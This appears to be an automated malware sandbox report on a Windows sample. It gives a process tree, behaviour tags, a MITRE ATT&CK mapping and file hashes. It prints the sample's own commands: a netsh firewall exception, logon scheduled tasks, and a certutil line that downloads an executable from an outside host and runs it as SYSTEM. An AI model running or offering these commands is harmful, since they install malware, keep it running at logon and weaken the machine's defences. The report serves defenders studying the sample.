a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.execsrss.exedescription pid Process Token: SeDebugPrivilege 2284 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Token: SeImpersonatePrivilege 2284 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Token: SeSystemEnvironmentPrivilege 2900 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.execmd.execsrss.exedescription pid Process procid_target PID 2616 wrote to memory of 2436 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 33 PID 2616 wrote to memory of 2436 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 33 PID 2616 wrote to memory of 2436 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 33 PID 2616 wrote to memory of 2436 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 33 PID 2436 wrote to memory of 2468 2436 cmd.exe 35 PID 2436 wrote to memory of 2468 2436 cmd.exe 35 PID 2436 wrote to memory of 2468 2436 cmd.exe 35 PID 2616 wrote to memory of 2900 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 36 PID 2616 wrote to memory of 2900 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 36 PID 2616 wrote to memory of 2900 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 36 PID 2616 wrote to memory of 2900 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 36 PID 2900 wrote to memory of 2328 2900 csrss.exe 48 PID 2900 wrote to memory of 2328 2900 csrss.exe 48 PID 2900 wrote to memory of 2328 2900 csrss.exe 48 PID 2900 wrote to memory of 2328 2900 csrss.exe 48 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2284 -
C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\1b8bb85736b7\1b8bb85736b7.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\1b8bb85736b7\1b8bb85736b7.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2468
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:2104
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
PID:840
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:620
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:2328
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240613165328.log C:\Windows\Logs\CBS\CbsPersist_20240613165328.cab1⤵
- Drops file in Windows directory
PID:2584
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
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Downloads
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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Filesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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Filesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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Filesize
3.7MB
MD5a6996f92201f52dfbfd85c841d6c8d04
SHA148a880fbd32d897ae019d1b1237aad3e7586ee2b
SHA2567d6252a0581bc43ac81e53210cbca042202ac43acec17dfe59eca5cea30dfdd8
SHA512d49ccb8cee040ce46c24f14439141fbf3d2eacbb16c76afbf504bfb865e5135c9e02f32d4e4db720e1de29688e6630f4f1d37df041b3c6631db0f756919a5fbe